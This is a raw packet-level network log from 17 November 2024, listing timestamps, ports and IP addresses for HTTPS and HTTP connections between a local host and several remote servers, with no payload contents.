Nov 17, 2024 12:35:44.922620058 CET	443	49941	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:44.922830105 CET	443	49939	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.922894001 CET	443	49939	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.923016071 CET	443	49939	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.923046112 CET	49939	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.923072100 CET	49939	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.924586058 CET	49939	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.924602985 CET	443	49939	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.928260088 CET	49946	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:44.928288937 CET	443	49946	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:44.928875923 CET	49946	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:44.929049015 CET	49946	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:44.929066896 CET	443	49946	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:44.929719925 CET	49947	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.929737091 CET	443	49947	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.929852962 CET	49947	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.929996967 CET	49947	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:44.930007935 CET	443	49947	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:44.968821049 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:44.968882084 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:44.997865915 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:45.003464937 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:45.281548977 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:45.281666040 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:45.285687923 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:45.290663004 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:45.291851997 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:45.294018030 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:45.299118996 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:45.449136019 CET	443	49942	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.449696064 CET	49942	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.449711084 CET	443	49942	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.450196028 CET	49942	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.450201035 CET	443	49942	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.535495996 CET	443	49946	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:45.535751104 CET	49946	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:45.535768986 CET	443	49946	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:45.536221981 CET	443	49946	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:45.536544085 CET	49946	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:45.536623955 CET	443	49946	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:45.536736965 CET	49946	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:45.548595905 CET	443	49944	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.549487114 CET	443	49943	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.552040100 CET	49944	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.552051067 CET	443	49944	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.552201986 CET	49943	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.552222013 CET	443	49943	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.552902937 CET	49943	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.552913904 CET	443	49943	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.552989006 CET	49944	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.552994967 CET	443	49944	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.579330921 CET	443	49946	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:45.579355955 CET	443	49942	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.579415083 CET	443	49942	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.579495907 CET	49942	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.579751015 CET	49942	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.579762936 CET	443	49942	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.579782009 CET	49942	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.579787016 CET	443	49942	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.583733082 CET	49949	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.583758116 CET	443	49949	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.583822966 CET	49949	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.584135056 CET	49949	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.584150076 CET	443	49949	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.664813042 CET	443	49946	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:45.664843082 CET	443	49946	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:45.664905071 CET	49946	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:45.664907932 CET	443	49946	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:45.665489912 CET	49946	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:45.666491985 CET	49946	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:45.666507006 CET	443	49946	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:45.672023058 CET	443	49947	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.672981024 CET	49950	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:45.673037052 CET	443	49950	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:45.673130989 CET	49950	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:45.673352957 CET	49950	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:45.673383951 CET	443	49950	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:45.673791885 CET	49947	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.673804998 CET	443	49947	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.674312115 CET	49947	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.674315929 CET	443	49947	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.678603888 CET	443	49944	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.678750038 CET	443	49944	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.678807020 CET	49944	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.679035902 CET	49944	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.679035902 CET	49944	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.679045916 CET	443	49944	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.679058075 CET	443	49944	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.679763079 CET	443	49943	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.679842949 CET	443	49943	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.680455923 CET	49943	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.680514097 CET	49943	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.680538893 CET	443	49943	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.680563927 CET	49943	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.680576086 CET	443	49943	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.682141066 CET	49951	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.682152987 CET	443	49951	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.682604074 CET	49951	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.682766914 CET	49951	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.682780027 CET	443	49951	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.682838917 CET	49952	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.682852983 CET	443	49952	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.682910919 CET	49952	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.683024883 CET	49952	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.683037043 CET	443	49952	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.802433968 CET	443	49947	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.802587986 CET	443	49947	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.802658081 CET	49947	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.802824020 CET	49947	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.802835941 CET	443	49947	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.802846909 CET	49947	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.802851915 CET	443	49947	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.806008101 CET	49954	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.806031942 CET	443	49954	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.806106091 CET	49954	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.806287050 CET	49954	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.806298971 CET	443	49954	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.959785938 CET	443	49945	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.960643053 CET	49945	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.960653067 CET	443	49945	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:45.961147070 CET	49945	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:45.961152077 CET	443	49945	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.087599993 CET	443	49945	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.087634087 CET	443	49945	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.087682009 CET	443	49945	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.087694883 CET	49945	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.087738991 CET	49945	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.088015079 CET	49945	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.088025093 CET	443	49945	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.088047981 CET	49945	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.088052988 CET	443	49945	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.091329098 CET	49955	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.091368914 CET	443	49955	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.091454029 CET	49955	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.091672897 CET	49955	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.091691017 CET	443	49955	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.206085920 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.206155062 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.206175089 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.206187963 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.206192017 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.206192017 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.206201077 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.206214905 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.206223965 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.206228018 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.206242085 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.206254005 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.206254005 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.206268072 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.206276894 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.206301928 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.206315994 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.211355925 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.211379051 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.211402893 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.211435080 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.211544037 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.211601019 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.285146952 CET	443	49950	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:46.285579920 CET	49950	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:46.285643101 CET	443	49950	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:46.286123991 CET	443	49950	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:46.286437035 CET	49950	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:46.286521912 CET	443	49950	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:46.286585093 CET	49950	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:46.321614027 CET	443	49949	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.322225094 CET	49949	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.322243929 CET	443	49949	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.322783947 CET	49949	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.322788954 CET	443	49949	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.327332973 CET	443	49950	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:46.332393885 CET	49950	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:46.365591049 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.365616083 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.365628958 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.365673065 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.365720987 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.365726948 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.365740061 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.365751982 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.365777016 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.365793943 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.365998030 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.366035938 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.366058111 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.366070986 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.366111040 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.366147041 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.366159916 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.366172075 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.366197109 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.366233110 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.416131973 CET	443	49950	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:46.416161060 CET	443	49950	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:46.416171074 CET	443	49950	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:46.416233063 CET	49950	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:46.416234970 CET	443	49950	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:46.416289091 CET	49950	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:46.418143034 CET	443	49952	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.418390989 CET	49950	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:46.418420076 CET	443	49950	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:46.419303894 CET	49952	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.419325113 CET	443	49952	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.419950962 CET	49952	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.419955969 CET	443	49952	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.423866034 CET	49956	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:46.423896074 CET	443	49956	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:46.423974991 CET	49956	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:46.424231052 CET	49956	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:46.424242020 CET	443	49956	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:46.429644108 CET	443	49951	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.430079937 CET	49951	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.430095911 CET	443	49951	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.430578947 CET	49951	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.430583954 CET	443	49951	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.451158047 CET	443	49949	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.451220036 CET	443	49949	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.451340914 CET	49949	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.451483965 CET	49949	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.451494932 CET	443	49949	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.451505899 CET	49949	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.451509953 CET	443	49949	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.454631090 CET	49957	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.454677105 CET	443	49957	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.455385923 CET	49957	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.455802917 CET	49957	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.455830097 CET	443	49957	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.483257055 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.483330965 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.483359098 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.483371973 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.483402967 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.483406067 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.483444929 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.483620882 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.483633041 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.483653069 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.483664036 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.483675003 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.483694077 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.483726025 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.484092951 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.484143019 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.484153032 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.484154940 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.484184980 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.484201908 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.484512091 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.484524012 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.484534979 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.484564066 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.484592915 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.524450064 CET	443	49954	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.524739981 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.524749994 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.524801970 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.524960995 CET	49954	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.524972916 CET	443	49954	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.525527954 CET	49954	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.525532007 CET	443	49954	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.548686028 CET	443	49952	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.548790932 CET	443	49952	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.548885107 CET	49952	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.548894882 CET	443	49952	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.548914909 CET	443	49952	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.548974991 CET	49952	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.549494028 CET	49952	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.549504042 CET	443	49952	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.549515009 CET	49952	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.549519062 CET	443	49952	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.552819967 CET	49958	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.552845001 CET	443	49958	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.553143024 CET	49958	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.553205013 CET	49958	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.553220987 CET	443	49958	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.560564041 CET	443	49951	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.560678005 CET	443	49951	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.560825109 CET	49951	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.561073065 CET	49951	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.561079025 CET	443	49951	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.561089039 CET	49951	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.561091900 CET	443	49951	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.563757896 CET	49959	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.563816071 CET	443	49959	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.563913107 CET	49959	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.564038992 CET	49959	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.564079046 CET	443	49959	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.601125956 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.601190090 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.601198912 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.601203918 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.601233006 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.601248980 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.601290941 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.601303101 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.601314068 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.601340055 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.601381063 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.601408005 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.601419926 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.601432085 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.601458073 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.601479053 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.602241993 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.602281094 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.602286100 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.602319956 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.602332115 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.602344036 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.602359056 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.602384090 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.642663002 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.642677069 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.642740965 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.664958000 CET	443	49954	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.665031910 CET	443	49954	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.665100098 CET	49954	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.665431023 CET	49954	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.665436983 CET	443	49954	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.668611050 CET	49960	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.668658972 CET	443	49960	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.668834925 CET	49960	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.668982029 CET	49960	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:46.669009924 CET	443	49960	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:46.719253063 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.719279051 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.719296932 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.719310045 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.719330072 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.719379902 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.719384909 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.719397068 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.719443083 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.719599962 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.719643116 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.719655991 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.719660044 CET	49948	80	192.168.2.5	185.215.113.16
Nov 17, 2024 12:35:46.719666958 CET	80	49948	185.215.113.16	192.168.2.5
Nov 17, 2024 12:35:46.719681025 CET	49948	80	192.168.2.5	185.215.113.16
